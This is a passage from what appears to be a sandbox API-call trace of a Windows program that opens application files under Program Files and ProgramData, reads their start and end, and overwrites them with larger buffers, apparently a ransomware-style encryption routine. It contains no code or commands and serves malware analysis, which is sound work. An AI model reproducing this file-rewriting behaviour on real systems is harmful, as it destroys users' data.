lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PST8", lpUsedDefaultChar=0x0) returned 4 [0047.743] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e78948, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78948*, lpNumberOfBytesRead=0x2c0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.746] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.746] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.746] CloseHandle (hObject=0x1cc) returned 1 [0047.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.768] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.769] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2b350 [0047.769] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.769] ReleaseMutex (hMutex=0x128) returned 1 [0047.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="THIRDPARTYLICENSEREADME.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="THIRDPARTYLICENSEREADME.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="THIRDPARTYLICENSEREADME.txt", lpUsedDefaultChar=0x0) returned 27 [0047.769] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.830] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2a350 [0047.830] ReadFile (in: hFile=0x1ac, lpBuffer=0x261c6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x261c6d8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.831] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x2a350 [0047.832] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.832] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0047.832] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.832] CloseHandle (hObject=0x1ac) returned 1 [0047.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.840] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.840] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x745e [0047.840] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.840] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.840] ReleaseMutex (hMutex=0x128) returned 1 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sybase.xsl", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sybase.xsl", cchWideChar=10, lpMultiByteStr=0x1e633ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sybase.xsl", lpUsedDefaultChar=0x0) returned 10 [0047.840] ReadFile (in: hFile=0x1ac, lpBuffer=0x261c6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x261c6d8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.858] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x645e [0047.858] ReadFile (in: hFile=0x1ac, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.882] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x645e [0047.882] WriteFile (in: hFile=0x1ac, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.882] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0047.882] WriteFile (in: hFile=0x1ac, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.883] CloseHandle (hObject=0x1ac) returned 1 [0047.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\chrome.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.891] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.891] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x28 [0047.891] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.891] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.891] ReleaseMutex (hMutex=0x128) returned 1 [0047.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.manifest", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.manifest", cchWideChar=15, lpMultiByteStr=0x1e6302c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome.manifest", lpUsedDefaultChar=0x0) returned 15 [0047.891] ReadFile (in: hFile=0x1d4, lpBuffer=0x1eb20f0, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb20f0*, lpNumberOfBytesRead=0x2c0f2bc*=0x28, lpOverlapped=0x0) returned 1 [0047.892] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.892] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5b0, lpOverlapped=0x0) returned 1 [0047.892] CloseHandle (hObject=0x1d4) returned 1 [0047.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.aff"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.893] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.893] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xcca [0047.893] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.893] ReleaseMutex (hMutex=0x128) returned 1 [0047.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US.aff", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US.aff", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US.aff", lpUsedDefaultChar=0x0) returned 9 [0047.893] ReadFile (in: hFile=0x1d4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0xcca, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f2bc*=0xcca, lpOverlapped=0x0) returned 1 [0048.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0048.134] WriteFile (in: hFile=0x1d4, lpBuffer=0x280de88*, nNumberOfBytesToWrite=0x1252, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280de88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1252, lpOverlapped=0x0) returned 1 [0048.134] CloseHandle (hObject=0x1d4) returned 1 [0048.134] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-container.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0048.135] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0048.135] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4870 [0048.135] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0048.135] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.135] ReleaseMutex (hMutex=0x128) returned 1 [0048.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plugin-container.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0048.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plugin-container.exe", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plugin-container.exe", lpUsedDefaultChar=0x0) returned 20 [0048.135] ReadFile (in: hFile=0x1d4, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.154] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3870 [0048.154] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.155] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3870 [0048.155] WriteFile (in: hFile=0x1d4, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.721] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0048.721] WriteFile (in: hFile=0x1d4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.721] CloseHandle (hObject=0x1d4) returned 1 [0048.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0048.722] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0048.722] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4dd [0048.722] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0048.722] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.722] ReleaseMutex (hMutex=0x128) returned 1 [0048.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ini", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ini", lpUsedDefaultChar=0x0) returned 11 [0048.722] ReadFile (in: hFile=0x1d4, lpBuffer=0x2742168, nNumberOfBytesToRead=0x4dd, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x2c0f2bc*=0x4dd, lpOverlapped=0x0) returned 1 [0048.724] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0048.724] WriteFile (in: hFile=0x1d4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xa65, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa65, lpOverlapped=0x0) returned 1 [0048.724] CloseHandle (hObject=0x1d4) returned 1 [0048.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0048.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0048.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x143e [0048.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0048.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.725] ReleaseMutex (hMutex=0x128) returned 1 [0048.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Workflow.VisualBasic.Targets", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0048.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Workflow.VisualBasic.Targets", cchWideChar=28, lpMultiByteStr=0x1e7fb1c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workflow.VisualBasic.Targets", lpUsedDefaultChar=0x0) returned 28 [0048.725] ReadFile (in: hFile=0x1d4, lpBuffer=0x276b358, nNumberOfBytesToRead=0x143e, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2c0f2bc*=0x143e, lpOverlapped=0x0) returned 1 [0048.727] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0048.727] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x19c6, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2c0f2d0*=0x19c6, lpOverlapped=0x0) returned 1 [0048.727] CloseHandle (hObject=0x1d4) returned 1 [0048.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0049.059] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe", lpFilePart=0x2c0f690*="WinMail.exe") returned 0x2f [0049.061] GetLastError () returned 0x5 [0049.061] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞘǦ\x01") returned 0x13 [0049.061] LocalFree (hMem=0x70b5a8) returned 0x0 [0049.061] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0049.061] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0049.061] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0049.066] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0049.068] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe")) returned 0x26 [0049.072] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0049.074] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0049.075] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x10e3000 [0049.075] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0049.075] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.077] ReleaseMutex (hMutex=0x128) returned 1 [0049.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10110_MUI.msp", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10110_MUI.msp", cchWideChar=23, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdbeRdrUpd10110_MUI.msp", lpUsedDefaultChar=0x0) returned 23 [0049.079] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.090] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.092] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.112] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.115] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.118] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.127] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.128] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 